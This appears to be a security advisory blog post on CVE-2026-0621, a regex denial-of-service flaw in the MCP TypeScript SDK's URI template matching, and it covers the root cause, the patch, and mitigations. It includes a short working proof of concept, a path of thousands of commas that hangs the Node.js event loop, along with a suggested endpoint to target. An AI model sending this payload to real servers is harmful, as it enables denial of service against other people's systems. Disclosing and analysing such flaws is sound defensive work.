Feb 25, 2026·6 min read·16 visits
The Anthropic MCP TypeScript SDK failed to properly sanitize regex generation for 'exploded' URI templates. Attackers can send a string of commas to a vulnerable server, triggering an exponential regex calculation that hangs the Node.js event loop indefinitely. Fixed in version 1.25.2.
A high-severity Regular Expression Denial of Service (ReDoS) vulnerability exists in the Anthropic Model Context Protocol (MCP) TypeScript SDK. By crafting specific URI patterns containing 'exploded' array variables, an attacker can trigger catastrophic backtracking in the `UriTemplate` class. This vulnerability exploits the single-threaded nature of Node.js, allowing a single malicious request to peg the CPU at 100% and deny service to all other users.
The Model Context Protocol (MCP) is the new shiny standard for connecting AI models to data sources. It’s the plumbing that lets an LLM read your git repo or query your database. Naturally, because it's 2026, we’re writing the SDKs in TypeScript. And where there is TypeScript, there is Node.js. And where there is Node.js, there is the ever-looming threat of the single-threaded event loop being held hostage by a bad regular expression.
CVE-2026-0621 isn't a complex memory corruption bug or a buffer overflow. It’s a classic logic error in how the SDK parses URIs. Specifically, the UriTemplate class—responsible for routing requests to resources—has a fatal flaw in how it handles "exploded" variables (like {/id*}).
Why does this matter? Because MCP servers are often public-facing or internal-critical gateways. If you can kill the gateway, you blind the AI. It's effectively a "kill switch" for any agentic workflow relying on this SDK, accessible via a single, unauthenticated HTTP request.
The root cause lies in src/shared/uriTemplate.ts. The developers needed to support RFC 6570 "exploded" path expansion. This is where a template like {/ids*} turns a list ['a', 'b'] into /a,b. To match incoming URIs against these templates, the SDK dynamically generates a Regular Expression.
Here is the logic they used for an exploded path segment:
// The code asks: "Match anything that isn't a slash,
// followed by optional groups of (comma + anything that isn't a slash)"
pattern = part.exploded ? '([^/]+(?:,[^/]+)*)' : '([^/,]+)';Do you see the ambiguity? The definition of "anything that isn't a slash" ([^/]) includes the comma (,).
The regex structure is effectively (A+(BA+)*) where A overlaps with B. When the regex engine sees a string of commas like ,,,,,,, it panics. It doesn't know if a specific comma should be consumed by the initial [^/]+ or by the subsequent (?:,[^/]+)* group. Because regex engines are eager to please, they try every possible combination of assignments. This is catastrophic backtracking, leading to exponential execution time ($O(2^n)$).
It is rare that a high-severity denial of service is fixed by adding a single character to a character class, but here we are. The fix involves explicitly telling the regex engine that the "content" part of the group cannot contain the "separator" (the comma).
Here is the breakdown of the patch in src/shared/uriTemplate.ts:
switch (part.operator) {
case '':
// The character class [^/] implicitly allows commas
pattern = part.exploded ? '([^/]+(?:,[^/]+)*)' : '([^/,]+)';
break;switch (part.operator) {
case '':
// The character class [^/,] explicitly forbids commas
pattern = part.exploded ? '([^/,]+(?:,[^/,]+)*)' : '([^/,]+)';
break;By changing [^/]+ to [^/,]+, the two parts of the regex become mutually exclusive. A comma can only be matched by the literal comma separator in the second group, never by the character class in the first group. This forces the regex engine into a linear match ($O(n)$), saving the CPU from melting.
Exploiting this is trivially easy and requires no authentication if the MCP server exposes a resource using exploded templates. The attacker just needs to send a URI path that looks like a valid resource but contains a massive chain of commas, followed by a character that forces the regex to backtrack when it hits the end of the string.
Here is the attack flow:
const { UriTemplate } = require('@modelcontextprotocol/sdk');
// 1. Target a template with an exploded variable
const template = new UriTemplate('{/id*}');
// 2. Construct the payload
// 50 commas is usually enough to cause a noticeable lag.
// 3000 commas will hang the process for eternity.
const payload = '/' + ','.repeat(5000) + '!';
console.log("Starting match...");
const start = process.hrtime();
// 3. Trigger the hang
template.match(payload);
const end = process.hrtime(start);
console.log(`Matched in ${end[0]}s ${end[1] / 1000000}ms`);In a real-world scenario, you would send this payload to an endpoint like POST /mcp/rpc where the server attempts to route the request URI against its known schemas.
Node.js developers often fall into the trap of thinking, "My code is async, so blocking operations won't hurt me." Wrong. Regular expression matching in V8 (the JavaScript engine) is synchronous and runs on the main thread.
When this exploit triggers, the main thread enters a tight loop inside the C++ regex engine. While it is calculating the $2^{5000}$ ways to parse your commas:
setTimeout and setInterval are frozen.For an MCP server designed to be a high-availability bridge for AI agents, this is a total service collapse.
The fix is straightforward, but for those who cannot upgrade immediately, mitigation is tricky.
@modelcontextprotocol/sdk to version 1.25.2. This version contains the patch commit b392f02./{,}{10,}/). However, be careful not to block legitimate CSV-style data usage if your API supports it.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@modelcontextprotocol/sdk Anthropic | <= 1.25.1 | 1.25.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1333 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 8.7 (High) |
| CVSS v3.1 | 7.5 (High) |
| Impact | High Availability (DoS) |
| Exploit Status | PoC Available |
| EPSS Score | 0.00022 |
The software uses a regular expression that can take a very large amount of time to evaluate specific input strings, leading to a Denial of Service.